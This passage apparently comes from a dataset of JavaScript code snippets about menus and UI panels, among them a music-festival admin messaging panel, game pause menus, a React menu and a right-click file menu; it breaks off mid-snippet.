            '\\n },\\n };\\n }\\n\\n //\\n // This panel will let the user select a date and time to send the scheduled message\\n //\\n this.messageschedule = new M.panel('Schedule Message',\\n 'ciniki_musicfestivals_main', 'messageschedule',\\n 'mc', 'medium', 'sectioned', 'ciniki.musicfestivals.main.messageschedule');\\n this.messageschedule.data = {};\\n this.messageschedule.sections = {\\n 'general':{'label':'Schedule Date and Time', 'fields':{\\n 'dt_scheduled':{'label':'', 'hidelabel':'yes', 'type':'datetime'},\\n }},\\n '_buttons':{'label':'', 'buttons':{\\n 'send':{'label':'Schedule', \\n 'fn':'M.ciniki_musicfestivals_main.message.schedulenow();',\\n },\\n 'delete':{'label':'Cancel',\\n 'fn':'M.ciniki_musicfestivals_main.message.open();',\\n },\\n }},\\n };\\n this.messageschedule.open = function() {\\n if( M.ciniki_musicfestivals_main.message.data.dt_scheduled != '0000-00-00 00:00:00' ) {\\n this.data = {\\n 'dt_scheduled':M.ciniki_musicfestivals_main.message.data.dt_scheduled_text,\\n };\\n } else {\\n this.data.dt_scheduled = '';\\n }\\n this.refresh();\\n this.show();\\n }\\n\\n\\n //\\n // This panel shows the available objects that can be used to send a message to.\\n //\\n this.messagerefs = new M.panel('Message Recipients',\\n 'ciniki_musicfestivals_main', 'messagerefs',\\n 'mc', 'xlarge mediumaside', 'sectioned', 'ciniki.musicfestivals.main.messagerefs');\\n this.messagerefs.data = {};\\n this.messagerefs.festival_id = 0;\\n this.messagerefs.message_id = 0;\\n this.messagerefs.section_id = 0;\\n this.messagerefs.category_id = 0;\\n this.messagerefs.schedule_id = 0;\\n this.messagerefs.division_id = 0;\\n this.messagerefs.nplist = [];\\n this.messagerefs.sections = {\\n 'details':{'label':'Details', 'type':'simplegrid', 'num_cols':2, 'aside':'yes',\\n 'cellClasses':['label mediumlabel', ''],\\n // Status\\n // # competitors\\n // # teachers\\n // 'dt_sent':{'label':'Year', 'type':'text'},\\n },\\n 'excluded':{'label':'', 'aside':'yes', 'fields':{\\n 'flags1':{'label':'Include', 'type':'flagspiece', 'default':'off', 'mask':0x03,\\n 'field':'flags', 'toggle':'yes', 'join':'yes',\\n\\n 'flags':{'0':{'name':'Everybody'},'2':{'name':'Only Competitors'}, '1':{'name':'Only Teachers'}},\\n 'onchange':'M.ciniki_musicfestivals_main.messagerefs.updateFlags',\\n },\\n }},\\n/* '_excluded':{'label':'', 'aside':'yes', 'fields':{\\n 'flags1':{'label':'Exclude Competitors', 'type':'flagtoggle', 'default':'off', 'bit':0x01,\\n 'field':'flags',\\n 'onchange':'M.ciniki_musicfestivals_main.messagerefs.updateFlags',\\n },\\n 'flags2':{'label':'Exclude Teachers', 'type':'flagtoggle', 'default':'off', 'bit':0x02,\\n 'field':'flags',\\n 'onchange':'M.ciniki_musicfestivals_main.messagerefs.updateFlags',\\n },\\n }}, */\\n 'objects':{'label':'Recipients', 'type':'simplegrid', 'num_cols':3, 'aside':'yes',\\n 'cellClasses':['label mediumlabel', '', 'alignright'],\\n 'noData':'No Recipients',\\n// 'addTxt':'Add Recipient(s)',\\n// 'addFn':'M.ciniki_musicfestivals_main.message.addobjects();',\\n },\\n '_extract':{'label':'', 'aside':'yes', 'buttons':{\\n 'extract':{'label':'Extract Recipients', 'fn':'M.ciniki_musicfestivals_main.messagerefs.extractRecipients();'},\\n }},\\n '_tabs':{'label':'', 'type':'paneltabs', 'selected':'sections', 'tabs':{\\n 'sections':{'label':'Syllabus', 'fn':'M.ciniki_musicfestivals_main.messagerefs.switchTab(\\\"sections\\\");'},\\n 'categories':{'label':'Categories', \\n 'visible':function() { return M.ciniki_musicfestivals_main.messagerefs.section_id > 0 ? 'yes' : 'no'; },\\n 'fn':'M.ciniki_musicfestivals_main.messagerefs.switchTab(\\\"categories\\\");',\\n },\\n 'classes':{'label':'Classes', \\n 'visible':function() { return M.ciniki_musicfestivals_main.messagerefs.category_id > 0 ? 'yes' : 'no'; },\\n 'fn':'M.ciniki_musicfestivals_main.messagerefs.switchTab(\\\"classes\\\");',\\n },\\n 'schedule':{'label':'Schedule', 'fn':'M.ciniki_musicfestivals_main.messagerefs.switchTab(\\\"schedule\\\");'},\\n 'divisions':{'label':'Divisions', \\n 'visible':function() { return M.ciniki_musicfestivals_main.messagerefs.schedule_id > 0 ? 'yes' : 'no'; },\\n 'fn':'M.ciniki_musicfestivals_main.messagerefs.switchTab(\\\"divisions\\\");',\\n },\\n 'timeslots':{'label':'Timeslots', \\n 'visible':function() { return M.ciniki_musicfestivals_main.messagerefs.division_id > 0 ? 'yes' : 'no'; },\\n 'fn':'M.ciniki_musicfestivals_main.messagerefs.switchTab(\\\"timeslots\\\");',\\n },\\n 'tags':{'label':'Registration Tags', \\n 'visible':function() { return M.modFlagSet('ciniki.musicfestivals', 0x2000); },\\n 'fn':'M.ciniki_musicfestivals_main.messagerefs.switchTab(\\\"tags\\\");',\\n },\\n 'teachers':{'label':'Teachers', 'fn':'M.ciniki_musicfestivals_main.messagerefs.switchTab(\\\"teachers\\\");'},\\n 'competitors':{'label':'Competitors', 'fn':'M.ciniki_musicfestivals_main.messagerefs.switchTab(\\\"competitors\\\");'},\\n }},\\n/* '_file':{'label':'Attach Files', \\n 'fields':{\\n 'attachment1':{'label':'File 1', 'type':'file', 'hidelabel':'no'},\\n 'attachment2':{'label':'File 2', 'type':'file', 'hidelabel':'no'},\\n 'attachment3':{'label':'File 3', 'type':'file', 'hidelabel':'no'},\\n 'attachment4':{'label':'File 4', 'type':'file', 'hidelabel':'no'},\\n 'attachment5':{'label':'File 5', 'type':'file', 'hidelabel':'no'},\\n }}, */\\n 'sections':{'label':'Syllabus', 'type':'simplegrid', 'num_cols':2,\\n 'visible':function() { return M.ciniki_musicfestivals_main.messagerefs.sections._tabs.selected == 'sections' ? 'yes' : 'no';},\\n 'cellClasses':['', 'alignright fabuttons'],\\n },\\n 'categories':{'label':'Categories', 'type':'simplegrid', 'num_cols':2,\\n 'visible':function() { return M.ciniki_musicfestivals_main.messagerefs.sections._tabs.selected == 'categories' ? 'yes' : 'no';},\\n 'cellClasses':['', 'alignright fabuttons'],\\n },\\n 'classes':{'label':'Classes', 'type':'simplegrid', 'num_cols':2,\\n 'visible':function() { return M.ciniki_musicfestivals_main.messagerefs.sections._tabs.selected == 'classes' ? 'yes' : 'no';},\\n 'cellClasses':['', 'alignright fabuttons'],\\n },\\n 'schedule':{'label':'Schedule', 'type':'simplegrid', 'num_cols':2,\\n 'visible':function() { return M.ciniki_musicfestivals_main.messagerefs.sections._tabs.selected == 'schedule' ? 'yes' : 'no';},\\n 'cellClasses':['', 'alignright fabuttons'],\\n },\\n 'divisions':{'label':'Divisions', 'type':'simplegrid', 'num_cols':2,\\n 'visible':function() { return M.ciniki_musicfestivals_main.messagerefs.sections._tabs.selected == 'divisions' ? 'yes' : 'no';},\\n 'cellClasses':['', 'alignright fabuttons'],\\n },\\n 'timeslots':{'label':'Timeslots', 'type':'simplegrid', 'num_cols':2,\\n 'visible':function() { return M.ciniki_musicfestivals_main.messagerefs.sections._tabs.selected == 'timeslots' ? 'yes' : 'no';},\\n 'cellClasses':['', 'alignright fabuttons'],\\n },\\n 'tags':{'label':'Registration Tags', 'type':'simplegrid', 'num_cols':2,\\n 'visible':function() { return M.ciniki_musicfestivals_main.messagerefs.sections._tabs.selected == 'tags' ? 'yes' : 'no';},\\n 'cellClasses':['', 'alignright fabuttons'],\\n },\\n// 'competitor_search':{'label':'Search Competitors', 'type':'simplegrid', 'num_cols':2,\\n// 'visible':function() { return M.ciniki_musicfestivals_main.messagerefs.sections._tabs.selected == 'competitors' ? 'yes' : 'no';},\\n// 'cellClasses':['', 'alignright fabuttons'],\\n// },\\n 'competitors':{'label':'Competitors', 'type':'simplegrid', 'num_cols':2,\\n 'visible':function() { return M.ciniki_musicfestivals_main.messagerefs.sections._tabs.selected == 'competitors' ? 'yes' : 'no';},\\n 'headerValues':['Name', 'Status'],\\n 'headerClasses':['', 'alignright'],\\n 'cellClasses':['', 'alignright fabuttons'],\\n 'sortable':'yes',\\n 'sortTypes':['text', 'alttext'],\\n },\\n 'teachers':{'label':'Teachers', 'type':'simplegrid', 'num_cols':2,\\n 'visible':function() { return M.ciniki_musicfestivals_main.messagerefs.sections._tabs.selected == 'teachers' ? 'yes' : 'no';},\\n 'headerValues':['Name', 'Status'],\\n 'headerClasses':['', 'alignright'],\\n 'cellClasses':['', 'alignright fabuttons'],\\n 'sortable':'yes',\\n 'sortTypes':['text', 'alttext'],\\n },\\n '_buttons':{'label':'', 'buttons':{\\n 'done':{'label':'Done', 'fn':'M.ciniki_musicfestivals_main.messagerefs.close();'},\\n }},\\n };\\n this.messagerefs.cellSortValue = function(s, i, j, d) {\\n if( d.added != null && d.added == 'yes' ) {\\n return 1;\\n } else if( d.included != null && d.included == 'yes' ) {\\n return 2;\\n } else {\\n return 3;\\n }\\n }\\n this.messagerefs.cellValue = function(s, i, j, d) {\\n if( s == 'details' ) {\\n switch(j) {\\n case 0: return d.label;\\n case 1: return d.value;\\n }\\n }\\n if( s == 'objects' ) {\\n switch(j) {\\n case 0: return d.type;\\n case 1: return d.label;\\n case 2: return '&#xf014;&nbsp;';\\n }\\n }\\n if( s == 'sections' || s == 'categories' || s == 'classes' || s == 'schedule' || s == 'divisions' || s == 'timeslots' || s == 'tags' || s == 'competitors' ) {\\n if( j == 0 ) {\\n return d.name;\\n }\\n if( j == 1 ) {\\n if( d.added != null && d.added == 'yes' ) {\\n if( this.data.message.status == 10 ) {\\n return '';\\n } else {\\n return 'Added';\\n }\\n } else if( d.included != null && d.included == 'yes' ) {\\n return 'Included';\\n } else if( d.object != null && d.partial == null ) {\\n if( this.data.message.status == 10 ) {\\n return '';\\n } else {\\n return '';\\n }\\n } else if( d.object != null && d.partial == null ) {\\n return '';\\n }\\n }\\n }\\n if( s == 'teachers' ) {\\n if( j == 0 ) {\\n return d.name;\\n }\\n if( j == 1 ) {\\n var html = '';\\n if( d.included != null ) {\\n return 'Included';\\n }\\n else if( d.students != null ) {\\n return '';\\n }\\n else if( d.added != null ) {\\n return '';\\n }\\n else { \\n return ''\\n + ' ';\\n }\\n }\\n \\n }\\n }\\n this.messagerefs.cellFn = function(s, i, j, d) {\\n if( s == 'objects' && j == 2 ) { \\n return 'M.ciniki_musicfestivals_main.messagerefs.removeObject(\\\\'' + d.object + '\\\\',\\\\'' + d.object_id + '\\\\');';\\n }\\n }\\n this.messagerefs.rowClass = function(s, i, d) {\\n if( (d.partial != null && d.partial == 'yes') ) {\\n return 'statusorange';\\n }\\n else if( (d.added != null && d.added == 'yes')\\n || (d.included != null && d.included == 'yes') \\n || (d.students != null && d.students == 'yes') \\n ) {\\n return 'statusgreen';\\n }\\n }\\n this.messagerefs.rowFn = function(s, i, d) {\\n if( s == 'sections' || s == 'categories' || s == 'schedule' || s == 'divisions' ) {\\n if( d.added == null && d.included == null ) {\\n return 'M.ciniki_musicfestivals_main.messagerefs.switchSubTab(\\\\'' + s + '\\\\',' + d.id + ');';\\n }\\n }\\n return '';\\n }\\n this.messagerefs.extractRecipients = function() {\\n M.api.getJSONCb('ciniki.musicfestivals.messageGet', {'tnid':M.curTenantID, \\n 'message_id':this.message_id, \\n 'allrefs':'yes', \\n 'section_id':this.section_id, \\n 'category_id':this.category_id,\\n 'schedule_id':this.schedule_id, \\n 'division_id':this.division_id,\\n 'action':'extractrecipients',\\n }, this.openFinish);\\n }\\n this.messagerefs.switchTab = function(t) {\\n this.sections._tabs.selected = t;\\n if( t == 'sections' || t == 'schedule' || t == 'teachers' || t == 'competitors' || t == 'tags' ) {\\n this.section_id = 0;\\n this.category_id = 0;\\n this.schedule_id = 0;\\n this.division_id = 0;\\n this.registration_tag = '';\\n }\\n else if( t == 'categories' ) {\\n this.category_id = 0;\\n this.schedule_id = 0;\\n this.division_id = 0;\\n this.registration_tag = '';\\n }\\n else if( t == 'divisions' ) {\\n this.section_id = 0;\\n this.category_id = 0;\\n this.division_id = 0;\\n this.registration_tag = '';\\n }\\n this.open();\\n }\\n this.messagerefs.switchSubTab = function(s, id) {\\n/* if( s == 'sections' || s == 'schedule' || s == 'teachers' || s == 'competitors' ) {\\n this.section_id = 0;\\n this.category_id = 0;\\n this.schedule_id = 0;\\n this.division_id = 0;\\n }\\n else if( s == 'categories' ) {\\n this.category_id = 0;\\n this.schedule_id = 0;\\n this.division_id = 0;\\n }\\n else if( s == 'divisions' ) {\\n this.section_id = 0;\\n this.category_id = 0;\\n this.division_id = 0;\\n } */\\n if( s == 'sections' ) {\\n this.section_id = id;\\n this.switchTab('categories');\\n }\\n if( s == 'categories' ) {\\n this.category_id = id;\\n this.switchTab('classes');\\n }\\n if( s == 'schedule' ) {\\n this.schedule_id = id;\\n this.switchTab('divisions');\\n }\\n if( s == 'divisions' ) {\\n this.division_id = id;\\n this.switchTab('timeslots');\\n }\\n }\\n this.messagerefs.updateFlags = function() {\\n var f = this.data.message.flags;\\n if( (this.formValue('flags1')&0x01) == 0x01 ) {\\n f |= 0x01;\\n } else {\\n f &= 0xFFFE;\\n }\\n if( (this.formValue('flags1')&0x02) == 0x02 ) {\\n f |= 0x02;\\n } else {\\n f &= 0xFFFD;\\n }\\n if( f != this.data.message.flags ) {\\n M.api.getJSONCb('ciniki.musicfestivals.messageGet', {'tnid':M.curTenantID, \\n 'message_id':this.message_id, \\n 'allrefs':'yes', \\n 'section_id':this.section_id, \\n 'category_id':this.category_id,\\n 'schedule_id':this.schedule_id, \\n 'division_id':this.division_id,\\n 'action':'updateflags',\\n 'flags':f,\\n }, this.openFinish);\\n } \\n }\\n this.messagerefs.addObject = function(o, oid) {\\n M.api.getJSONCb('ciniki.musicfestivals.messageGet', {'tnid':M.curTenantID, \\n 'message_id':this.message_id, \\n 'allrefs':'yes', \\n 'section_id':this.section_id, \\n 'category_id':this.category_id,\\n 'schedule_id':this.schedule_id, \\n 'division_id':this.division_id,\\n 'action':'addref',\\n 'object':o,\\n 'object_id':oid,\\n }, this.openFinish);\\n }\\n this.messagerefs.removeObject = function(o, oid) {\\n M.api.getJSONCb('ciniki.musicfestivals.messageGet', {'tnid':M.curTenantID, \\n 'message_id':this.message_id, \\n 'allrefs':'yes', \\n 'section_id':this.section_id, \\n 'category_id':this.category_id,\\n 'schedule_id':this.schedule_id, \\n 'division_id':this.division_id,\\n 'action':'removeref',\\n 'object':o,\\n 'object_id':oid,\\n }, this.openFinish);\\n }\\n this.messagerefs.open = function(cb, mid) {\\n if( cb != null ) { this.cb = cb; }\\n if( mid != null ) { this.message_id = mid; }\\n M.api.getJSONCb('ciniki.musicfestivals.messageGet', {'tnid':M.curTenantID, \\n 'message_id':this.message_id, \\n 'allrefs':'yes', \\n 'section_id':this.section_id, \\n 'category_id':this.category_id,\\n 'schedule_id':this.schedule_id, \\n 'division_id':this.division_id,\\n }, this.openFinish);\\n }\\n this.messagerefs.openFinish = function(rsp) {\\n if( rsp.stat != 'ok' ) {\\n M.api.err(rsp);\\n return false;\\n }\\n var p = M.ciniki_musicfestivals_main.messagerefs;\\n p.data = rsp;\\n p.data.flags = rsp.message.flags;\\n p.data.details = rsp.message.details;\\n p.data.objects = rsp.message.objects;\\n p.refresh();\\n p.show();\\n }\\n this.messagerefs.goback = function() {\\n if( this.sections._tabs.selected == 'categories' ) {\\n this.switchTab(\\\"sections\\\");\\n } else if( this.sections._tabs.selected == 'classes' ) {\\n this.switchTab(\\\"categories\\\");\\n } else if( this.sections._tabs.selected == 'divisions' ) {\\n this.switchTab(\\\"schedule\\\");\\n } else if( this.sections._tabs.selected == 'timeslots' ) {\\n this.switchTab(\\\"divisions\\\");\\n } else {\\n this.close();\\n }\\n }\\n this.messagerefs.addLeftButton('back', 'Back', 'M.ciniki_musicfestivals_main.messagerefs.goback();');\\n\\n //\\n // Start the app\\n // cb - The callback to run when the user leaves the main panel in the app.\\n // ap - The application prefix.\\n // ag - The app arguments.\\n //\\n this.start = function(cb, ap, ag) {\\n args = {};\\n if( ag != null ) {\\n args = eval(ag);\\n }\\n \\n //\\n // Create the app container\\n //\\n var ac = M.createContainer(ap, 'ciniki_musicfestivals_main', 'yes');\\n if( ac == null ) {\\n M.alert('App Error');\\n return false;\\n }\\n\\n //\\n // Initialize for tenant\\n //\\n if( this.curTenantID == null || this.curTenantID != M.curTenantID ) {\\n this.tenantInit();\\n this.curTenantID = M.curTenantID;\\n }\\n\\n if( args.item_object != null && args.item_object == 'ciniki.musicfestivals.registration' && args.item_object_id != null ) {\\n this.registration.open(cb, args.item_object_id, 0, 0, 0, null, args.source);\\n } else if( args.registration_id != null && args.registration_id != '' ) {\\n this.registration.open(cb, args.registration_id, 0, 0, 0, null, '');\\n } else if( args.festival_id != null && args.festival_id != '' ) {\\n this.festival.list_id = 0;\\n this.festival.open(cb, args.festival_id, null);\\n } else {\\n this.festival.list_id = 0;\\n this.menu.sections._tabs.selected = 'festivals';\\n this.menu.open(cb);\\n }\\n }\\n\\n this.tenantInit = function() {\\n this.festival.typestatus = '';\\n this.festival.sections.ipv_tabs.selected = 'all';\\n this.classes.sections._tabs.selected = 'fees';\\n this.festival.section_id = 0;\\n this.festival.schedulesection_id = 0;\\n this.festival.scheduledivision_id = 0;\\n this.festival.list_id = 0;\\n this.festival.listsection_id = 0;\\n this.festival.nplists = {};\\n this.festival.nplist = [];\\n this.festival.messages_status = 10;\\n this.festival.city_prov = 'All';\\n this.festival.province = 'All';\\n this.festival.registration_tag = '';\\n }\\n}\",\n \"function toMenu()\\n {\\n /**\\n * Opens a fan of a desk in the pause menu\\n */\\n function openFan()\\n {\\n toggleHideElements([DOM.pause.deskContainer], animation.duration.hide, false);\\n desk.toggleFan(4, 35, 10, true);\\n for (var counter = 0; counter < desk.cards.length; counter++)\\n {\\n if (state.isWin)\\n {\\n desk.cards[counter].turn(true);\\n desk.cards[counter].dataset.turned = true;\\n }\\n else if (desk.cards[counter].dataset.turned == true)\\n {\\n desk.cards[counter].turn(true);\\n }\\n }\\n state.isWin = false;\\n }\\n\\n /**\\n * Shows menu elements\\n */\\n function showMenu()\\n {\\n if (state.screen == \\\"GAME\\\")\\n {\\n cards[0].removeEventListener(\\\"move\\\", showMenuId);\\n DOM.pause.deskContainer.style.opacity = 1;\\n DOM.cardsContainer.classList.add(CSS.hidden);\\n }\\n\\n if (state.isWin)\\n {\\n DOM.pause.deskContainer.style.opacity = 0;\\n DOM.pause.headline.innerHTML = (state.score >= 0 ? \\\"Победа со счётом: \\\" : \\\"Потрачено: \\\") + state.score;\\n DOM.pause.options.continue.disabled = true;\\n state.score = 0;\\n }\\n else\\n {\\n DOM.pause.headline.innerHTML = \\\"MEMORY GAME\\\";\\n }\\n\\n DOM.container.classList.remove(CSS.container.game);\\n DOM.container.classList.add(CSS.container.pause);\\n state.screen = \\\"MENU\\\";\\n\\n toggleHideElements(\\n [DOM.pause.options.continue, DOM.pause.options.newGame, DOM.pause.headline],\\n animation.duration.hide,\\n false,\\n openFan.bind(this)\\n );\\n }\\n\\n /**\\n * Hides a game field\\n */\\n function hideGameField(follower)\\n {\\n toggleHideElements([DOM.game.score, DOM.game.pauseButton], animation.duration.hide, true, follower);\\n }\\n\\n /**\\n * Moves cards from the field to the desk\\n */\\n function takeCards()\\n {\\n if (state.turnedCard)\\n {\\n state.turnedCard.turn(true);\\n }\\n\\n showMenuId = cards[0].addEventListener(\\\"move\\\", showMenu);\\n\\n for (var counter = 0; counter < cards.length; counter++)\\n {\\n cards[counter].move(DOM.cardsContainer, {width: sizes.desk.width + \\\"PX\\\", height: sizes.desk.height + \\\"PX\\\"}, true);\\n }\\n }\\n\\n state.cardsTurnable = false;\\n if (state.screen == \\\"GAME\\\")\\n {\\n var showMenuId;\\n hideGameField();\\n takeCards();\\n }\\n else\\n {\\n hideGameField(showMenu.bind(this));\\n }\\n }\",\n \"function HappyMealMenu() {\\n \\n const dispatch = useDispatch();\\n const menu = useSelector(state => state.happyMeal.menu, shallowEqual);\\n \\n // use 'react-redux' to load in happy meals from backend. \\n useEffect(() => {\\n dispatch(fetchMenuFromAPI('LOAD_HAPPY_MEAL_MENU', 'happy-meal'));\\n }, [dispatch]);\\n \\n return (\\n // render happy meal items as a list of buttons. \\n
            \\n {menu && menu.map(food => \\n )\\n }\\n
            \\n )\\n}\",\n \"function spellsMenu() {\\n $scope.menuTitle = createText(\\\"Spells\\\", [20, 10]);\\n createText(\\\"Not yet implemented\\\", [50, 80], {});\\n }\",\n \"function showMenu() {\\n rectMode(CENTER);\\n fill(colorList[2]);\\n rect(buttonX, buttonY, buttonWidth, buttonHeight);\\n \\n textAlign(CENTER, CENTER);\\n fill(colorList[5]);\\n text(\\\"How to Play\\\", buttonX, buttonY);\\n\\n fill(colorList[3]);\\n rect(buttonX, secondButtonYpos, buttonWidth, buttonHeight);\\n \\n textAlign(CENTER, CENTER);\\n fill(colorList[4]);\\n text(\\\"Dancing Block\\\", buttonX, secondButtonYpos);\\n \\n}\",\n \"function simulat_menu_infos() {\\n display_menu_infos();\\n}\",\n \"createMenus (){\\n \\n $.each(MenuData.menus, ( menuName, menuItems )=>{\\n \\n $('#gameNav-'+menuName+'Panel > .menu-links').html('');\\n \\n $.each(menuItems,( index, item )=>{\\n \\n var realRoute,itemLink,action,routeId;\\n \\n if(item.hideIfNotAuthenticated && !this.get('session.isAuthenticated')){\\n return true;\\n }\\n \\n if(item.label){\\n // Translate item label\\n let key = \\\"menu.\\\"+Ember.String.dasherize(menuName)+\\\".\\\"+Ember.String.dasherize(item.label);\\n item.tLabel = this.get('i18n').t(key);\\n }\\n \\n // Serialize route name for use as CSS id name\\n item.cssRoute = item.route.replace(/\\\\./g,'_');\\n \\n // Track actionable link\\n let addEvent = true;\\n \\n if(item.menuRoute){\\n \\n // For routes which don't appear in the menu but will cause a different menu link to highlight\\n itemLink = $('');\\n addEvent = false;\\n \\n } else if(item.tempRoute){\\n itemLink = $(''+item.tLabel+'');\\n action = 'transitionAction';\\n realRoute = item.tempRoute;\\n \\n } else if(item.route){\\n itemLink = $(''+item.tLabel+'');\\n action = 'transitionAction';\\n realRoute = item.route;\\n \\n if(item.params && item.params.id){\\n routeId = item.params.id;\\n }\\n \\n } else if(item.action) {\\n itemLink = $(''+item.tLabel+'');\\n let actionName = 'menuAction'+item.label.alphaNumeric();\\n action = actionName;\\n this.set(actionName,item.action);\\n }\\n \\n if(itemLink){\\n \\n if(addEvent){\\n itemLink.on('click',(e)=>{\\n e.preventDefault();\\n this.sendAction(action,realRoute,routeId);\\n \\n if(routeId){\\n Ember.Blackout.transitionTo(realRoute,routeId);\\n } else {\\n Ember.Blackout.transitionTo(realRoute);\\n }\\n \\n this.selectMenuLink(item.route);\\n return false;\\n });\\n }\\n \\n $('#gameNav-'+menuName+'Panel > .menu-links').append(itemLink);\\n }\\n \\n });\\n });\\n\\n // Manually update hover watchers\\n Ember.Blackout.refreshHoverWatchers();\\n \\n }\",\n \"function showMenu(type) {\\n switch (type) {\\n case 'beer':\\n addBasicMenu();\\n lastMenu = type;\\n showParticularMenu(allBeveragesOfType(\\\"Öl\\\"));\\n break;\\n case 'wine':\\n addBasicMenu();\\n lastMenu = type;\\n showParticularMenu(allBeveragesOfType(\\\"vin\\\"));\\n break;\\n case 'spirits':\\n addBasicMenu();\\n lastMenu = type;\\n showParticularMenu(allBeveragesWithStrength(\\\"above\\\", 20));\\n break;\\n case 'alcoAbove':\\n lastMenu = type;\\n if (document.getElementById(\\\"alco_percent\\\") != null) {\\n alcoPercent = document.getElementById(\\\"alco_percent\\\").value;\\n }\\n addBasicMenu();\\n showParticularMenu(allBeveragesWithStrength(\\\"above\\\", alcoPercent));\\n break;\\n case 'alcoBelow':\\n lastMenu = type;\\n if (document.getElementById(\\\"alco_percent\\\") != null) {\\n alcoPercent = document.getElementById(\\\"alco_percent\\\").value;\\n }\\n addBasicMenu();\\n showParticularMenu(allBeveragesWithStrength(\\\"below\\\", alcoPercent));\\n break;\\n case 'tannin':\\n addBasicMenu();\\n lastMenu = type;\\n showParticularMenu([]);\\n break;\\n case 'gluten':\\n addBasicMenu();\\n lastMenu = type;\\n showParticularMenu([]);\\n break;\\n case 'rest':\\n currentFiltering = \\\"rest\\\";\\n showMenu(lastMenu);\\n break;\\n case 'cat':\\n currentFiltering = \\\"cat\\\";\\n showMenu(lastMenu);\\n break;\\n case 'back':\\n currentFiltering = \\\"none\\\";\\n showMenu(allMenuBeverages());\\n break;\\n default:\\n addBasicMenu();\\n lastMenu = type;\\n showParticularMenu(allMenuBeverages());\\n }\\n}\",\n \"function showmenu(ev, category, deleted = false) {\\n //stop the real right click menu\\n ev.preventDefault();\\n var mouseX;\\n let element = \\\"\\\";\\n if (ev.pageX <= 200) {\\n mouseX = ev.pageX + 10;\\n } else {\\n let active_class = $(\\\"#sidebarCollapse\\\").attr(\\\"class\\\");\\n if (active_class.search(\\\"active\\\") == -1) {\\n mouseX = ev.pageX - 210;\\n } else {\\n mouseX = ev.pageX - 50;\\n }\\n }\\n\\n var mouseY = ev.pageY - 10;\\n\\n if (category === \\\"folder\\\") {\\n if (deleted) {\\n $(menuFolder)\\n .children(\\\"#reg-folder-delete\\\")\\n .html(\\\" Restore\\\");\\n $(menuFolder).children(\\\"#reg-folder-rename\\\").hide();\\n $(menuFolder).children(\\\"#folder-move\\\").hide();\\n $(menuFolder).children(\\\"#folder-description\\\").hide();\\n } else {\\n if ($(\\\".selected-item\\\").length > 2) {\\n $(menuFolder)\\n .children(\\\"#reg-folder-delete\\\")\\n .html(' Delete All');\\n $(menuFolder)\\n .children(\\\"#folder-move\\\")\\n .html(' Move All');\\n $(menuFolder).children(\\\"#reg-folder-rename\\\").hide();\\n $(menuFolder).children(\\\"#folder-description\\\").hide();\\n } else {\\n $(menuFolder)\\n .children(\\\"#reg-folder-delete\\\")\\n .html(\\\"Delete\\\");\\n $(menuFolder)\\n .children(\\\"#folder-move\\\")\\n .html(' Move');\\n $(menuFolder).children(\\\"#folder-move\\\").show();\\n $(menuFolder).children(\\\"#reg-folder-rename\\\").show();\\n $(menuFolder).children(\\\"#folder-description\\\").show();\\n }\\n }\\n menuFolder.style.display = \\\"block\\\";\\n $(\\\".menu.reg-folder\\\").css({ top: mouseY, left: mouseX }).fadeIn(\\\"slow\\\");\\n } else if (category === \\\"high-level-folder\\\") {\\n if (deleted) {\\n $(menuHighLevelFolders)\\n .children(\\\"#high-folder-delete\\\")\\n .html(\\\" Restore\\\");\\n $(menuHighLevelFolders).children(\\\"#high-folder-rename\\\").hide();\\n $(menuHighLevelFolders).children(\\\"#folder-move\\\").hide();\\n $(menuHighLevelFolders).children(\\\"#tooltip-folders\\\").show();\\n } else {\\n if ($(\\\".selected-item\\\").length > 2) {\\n $(menuHighLevelFolders)\\n .children(\\\"#high-folder-delete\\\")\\n .html(' Delete All');\\n $(menuHighLevelFolders).children(\\\"#high-folder-delete\\\").show();\\n $(menuHighLevelFolders).children(\\\"#high-folder-rename\\\").hide();\\n $(menuHighLevelFolders).children(\\\"#folder-move\\\").hide();\\n $(menuHighLevelFolders).children(\\\"#tooltip-folders\\\").show();\\n } else {\\n $(menuHighLevelFolders)\\n .children(\\\"#high-folder-delete\\\")\\n .html(\\\"Delete\\\");\\n $(menuHighLevelFolders).children(\\\"#high-folder-delete\\\").show();\\n $(menuHighLevelFolders).children(\\\"#high-folder-rename\\\").hide();\\n $(menuHighLevelFolders).children(\\\"#folder-move\\\").hide();\\n $(menuHighLevelFolders).children(\\\"#tooltip-folders\\\").show();\\n }\\n }\\n menuHighLevelFolders.style.display = \\\"block\\\";\\n $(\\\".menu.high-level-folder\\\")\\n .css({ top: mouseY, left: mouseX })\\n .fadeIn(\\\"slow\\\");\\n } else {\\n if (deleted) {\\n $(menuFile)\\n .children(\\\"#file-delete\\\")\\n .html(\\\" Restore\\\");\\n $(menuFile).children(\\\"#file-rename\\\").hide();\\n $(menuFile).children(\\\"#file-move\\\").hide();\\n $(menuFile).children(\\\"#file-description\\\").hide();\\n } else {\\n if ($(\\\".selected-item\\\").length > 2) {\\n $(menuFile)\\n .children(\\\"#file-delete\\\")\\n .html(' Delete All');\\n $(menuFile)\\n .children(\\\"#file-move\\\")\\n .html(' Move All');\\n $(menuFile).children(\\\"#file-rename\\\").hide();\\n $(menuFile).children(\\\"#file-description\\\").hide();\\n } else {\\n $(menuFile)\\n .children(\\\"#file-delete\\\")\\n .html(\\\"Delete\\\");\\n $(menuFile)\\n .children(\\\"#file-move\\\")\\n .html(' Move');\\n $(menuFile).children(\\\"#file-rename\\\").show();\\n $(menuFile).children(\\\"#file-move\\\").show();\\n $(menuFile).children(\\\"#file-description\\\").show();\\n }\\n }\\n menuFile.style.display = \\\"block\\\";\\n $(\\\".menu.file\\\").css({ top: mouseY, left: mouseX }).fadeIn(\\\"slow\\\");\\n }\\n}\",\n \"function menu(menuArray)\\n{\\n if(skip === true) {\\n skip = false;\\n }\\n novel.ignoreClicks = true;\\n novel.dialog.innerHTML =\\n menuArray[0].replace(/{{(.*?)}}/g, novel_interpolator);\\n novel.dialog.style.textAlign=\\\"center\\\";\\n for (var i = 1; i < menuArray.length; i += 2)\\n {\\n var mItem = new MenuItem((i-1) / 2, menuArray[i], menuArray[i+1]); \\n var el = mItem.domRef;\\n novel_addOnClick(el, menuArray[i+1]);\\n el.innerHTML = menuArray[i].replace(/{{(.*?)}}/g, novel_interpolator);\\n novel.tableau.appendChild(el);\\n novel.actors.push(mItem);\\n }\\n novel.paused = true;\\n}\",\n \"openMenu(scene, index = 0) {\\n this.index = index;\\n this.parentIndex = undefined;\\n\\n //A few initial variables\\n const gameWidth = scene.sys.game.config.width;\\n const gameHeight = scene.sys.game.config.height;\\n const cellWidth = 500;\\n const cellHeight = 48;\\n const length = 